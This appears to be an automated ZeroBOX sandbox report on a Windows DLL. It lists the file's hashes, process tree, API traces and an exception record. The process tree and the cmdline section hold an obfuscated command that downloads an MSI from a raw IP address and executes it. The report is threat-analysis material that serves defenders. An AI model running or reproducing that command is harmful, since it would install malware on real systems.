Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Sept. 26, 2023, 2:53 p.m.	Sept. 26, 2023, 2:53 p.m.

Size	12.0KB
Type	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5	`11d10cfdac2a8c8dd30f80d6a2dad667`
SHA256	`8b9022ce84b39a17c4dd4f48a0fdacf89f8f35a1e03e2b7131cd8e35990d3d24`
CRC32	`704FD76E`
ssdeep	`192:IU5z9i9veq2pJk+/qcJklyJOEtuF08TjsvGQwrgAhp:9z9SvWJH/IwJOUuF08UeQwrgC`
Yara	PE_Header_Zero - PE File Signature IsDLL - (no description) IsPE64 - (no description)

rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\rc.dll,reverseString
2636
- rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\rc.dll,reverseString
  2876
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\rc.dll,xlAutoOpen
2724
- rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\rc.dll,xlAutoOpen
  2920
  - cmd.exe c:\windows\system32\cmd.exe /c c^url -o c:\users\public\1.msi http://94.131.106.78/BcDx2y/OkJKB&&timeout 10&&c:\users\public\1.msi
    3012
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\rc.dll,hash
2552
- rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\rc.dll,hash
  2956
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\rc.dll,
2812

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

No Suricata Alerts

No Suricata TLS

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 26, 2023, 2:46 p.m.			0	0
IsDebuggerPresent Sept. 26, 2023, 2:46 p.m.			0	0
IsDebuggerPresent Sept. 26, 2023, 2:46 p.m.			0	0

Time & API	Arguments	Status	Return	Repeated
__exception__ Sept. 26, 2023, 2:46 p.m.	stacktrace: xlAutoOpen+0x1c10 rc+0x3000 @ 0x7fef9ad3000 rundll32+0x2f42 @ 0xff142f42 rundll32+0x3b7a @ 0xff143b7a BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76c2652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x76d5c521 exception.instruction_r: 30 40 ad f9 fe 07 00 00 00 00 00 00 00 00 00 00 exception.instruction: xor byte ptr [rax + 0xffffffffffffffad], al exception.exception_code: 0xc0000005 exception.symbol: xlAutoOpen+0x1c10 rc+0x3000 exception.address: 0x7fef9ad3000 registers.r14: 0 registers.r15: 0 registers.rcx: 327992 registers.rsi: 0 registers.r10: 0 registers.rbx: 0 registers.rsp: 1703328 registers.r11: 1702416 registers.r8: 2408572 registers.r9: 10 registers.rdx: 4279500800 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 327992 registers.r13: 0	1	0	0

Time & API	Arguments	Status
NtProtectVirtualMemory Sept. 26, 2023, 2:46 p.m.	process_identifier: 2876 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007304c000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 26, 2023, 2:46 p.m.	process_identifier: 2920 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007304c000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 26, 2023, 2:46 p.m.	process_identifier: 2956 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007304c000 process_handle: 0xffffffffffffffff	1

cmdline

c:\windows\system32\cmd.exe /c c^url -o c:\users\public\1.msi http://94.131.106.78/BcDx2y/OkJKB&&timeout 10&&c:\users\public\1.msi

rc